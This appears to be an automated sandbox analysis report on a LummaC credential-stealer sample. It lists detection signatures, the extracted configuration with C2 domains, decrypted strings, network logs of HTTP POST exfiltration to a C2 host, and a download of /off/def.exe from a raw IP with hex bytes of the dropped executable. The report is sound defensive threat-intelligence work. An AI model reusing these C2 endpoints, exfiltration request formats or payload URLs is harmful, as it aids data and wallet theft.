Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1544110
MD5:	abe40c70fb0035e436b9f150efc4de93
SHA1:	f799393885ab15696bce3107559050421c85fb08
SHA256:	27df55e7eb8dcf5597bff191dbf82a6357a5622960eff6a3150106fbdbfc2592
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SIDT)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 4952 cmdline: "C:\Users\user\Desktop\file.exe" MD5: ABE40C70FB0035E436B9F150EFC4DE93)

MMS43LFVAQOG1OXT3FFOALII.exe (PID: 5804 cmdline: "C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe" MD5: 3B7C380FD62D7A3638990F8F056833B0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["navygenerayk.store", "presticitpo.store", "scriptyprefej.store", "fadehairucw.store", "necklacedmny.store", "founpiuer.store", "thumbystriw.store", "crisiwarny.store"], "Build id": "4SD0y4--legendaryy"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: file.exe PID: 4952	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 4952	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 4952	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T20:50:10.343616+0100	2054653	1	A Network Trojan was detected	192.168.2.5	52226	188.114.97.3	443	TCP
2024-10-28T20:50:11.519999+0100	2054653	1	A Network Trojan was detected	192.168.2.5	52227	188.114.97.3	443	TCP
2024-10-28T20:50:22.981996+0100	2054653	1	A Network Trojan was detected	192.168.2.5	52250	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T20:50:10.343616+0100	2049836	1	A Network Trojan was detected	192.168.2.5	52226	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T20:50:11.519999+0100	2049812	1	A Network Trojan was detected	192.168.2.5	52227	188.114.97.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T20:50:23.891332+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	52257	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T20:50:18.655584+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	52231	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: file.exe.4952.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["navygenerayk.store", "presticitpo.store", "scriptyprefej.store", "fadehairucw.store", "necklacedmny.store", "founpiuer.store", "thumbystriw.store", "crisiwarny.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2311047330.0000000000B51000.00000040.00000001.01000000.00000003.sdmp	String decryptor: scriptyprefej.store
Source: 00000000.00000002.2311047330.0000000000B51000.00000040.00000001.01000000.00000003.sdmp	String decryptor: navygenerayk.store
Source: 00000000.00000002.2311047330.0000000000B51000.00000040.00000001.01000000.00000003.sdmp	String decryptor: founpiuer.store
Source: 00000000.00000002.2311047330.0000000000B51000.00000040.00000001.01000000.00000003.sdmp	String decryptor: necklacedmny.store
Source: 00000000.00000002.2311047330.0000000000B51000.00000040.00000001.01000000.00000003.sdmp	String decryptor: thumbystriw.store
Source: 00000000.00000002.2311047330.0000000000B51000.00000040.00000001.01000000.00000003.sdmp	String decryptor: fadehairucw.store
Source: 00000000.00000002.2311047330.0000000000B51000.00000040.00000001.01000000.00000003.sdmp	String decryptor: crisiwarny.store
Source: 00000000.00000002.2311047330.0000000000B51000.00000040.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.2311047330.0000000000B51000.00000040.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.2311047330.0000000000B51000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2311047330.0000000000B51000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2311047330.0000000000B51000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2311047330.0000000000B51000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2311047330.0000000000B51000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2311047330.0000000000B51000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 4SD0y4--legendaryy

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:52226 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:52227 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:52228 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:52229 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:52230 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:52231 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:52233 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:52250 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: MMS43LFVAQOG1OXT3FFOALII.exe, 00000003.00000003.2316856453.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, MMS43LFVAQOG1OXT3FFOALII.exe, 00000003.00000002.2450145108.00000000008E2000.00000040.00000001.01000000.00000006.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:52231 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:52226 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:52226 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:52250 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:52227 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:52227 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: crisiwarny.store

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 28 Oct 2024 19:50:23 GMTContent-Type: application/octet-streamContent-Length: 2764800Last-Modified: Mon, 28 Oct 2024 18:40:06 GMTConnection: keep-aliveETag: "671fda86-2a3000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2a 00 00 04 00 00 59 96 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 70 7a 6d 77 6d 6c 6a 00 e0 29 00 00 a0 00 00 00 d0 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 78 63 6c 63 6e 6c 7a 00 20 00 00 00 80 2a 00 00 04 00 00 00 0a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2a 00 00 22 00 00 00 0e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic

Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:52257 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12840Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15082Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20572Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1244Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 568408Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic

HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: file.exe, 00000000.00000003.2309522693.0000000000825000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2310542213.0000000000826000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2309210471.0000000000820000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000002.2310271074.00000000007B3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2310192211.00000000006FA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000002.2310271074.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee
Source: file.exe, 00000000.00000002.2310271074.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeeh
Source: file.exe, 00000000.00000003.2173711615.0000000005459000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2173711615.0000000005459000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2173711615.0000000005459000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2173711615.0000000005459000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2173711615.0000000005459000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2173711615.0000000005459000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2173711615.0000000005459000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: MMS43LFVAQOG1OXT3FFOALII.exe, 00000003.00000002.2451211163.000000000117B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.mic
Source: file.exe, 00000000.00000003.2173711615.0000000005459000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2173711615.0000000005459000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe, 00000000.00000003.2173711615.0000000005459000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2173711615.0000000005459000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2143978453.0000000005446000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143919731.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2144132431.0000000005446000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000003.2189423001.000000000541A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2189262274.0000000005411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000003.2189423001.000000000541A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2189262274.0000000005411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000003.2143978453.0000000005446000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143919731.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2144132431.0000000005446000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2143978453.0000000005446000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143919731.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2144132431.0000000005446000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2143978453.0000000005446000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143919731.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2144132431.0000000005446000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.2189423001.000000000541A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2189262274.0000000005411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2189423001.000000000541A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2189262274.0000000005411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
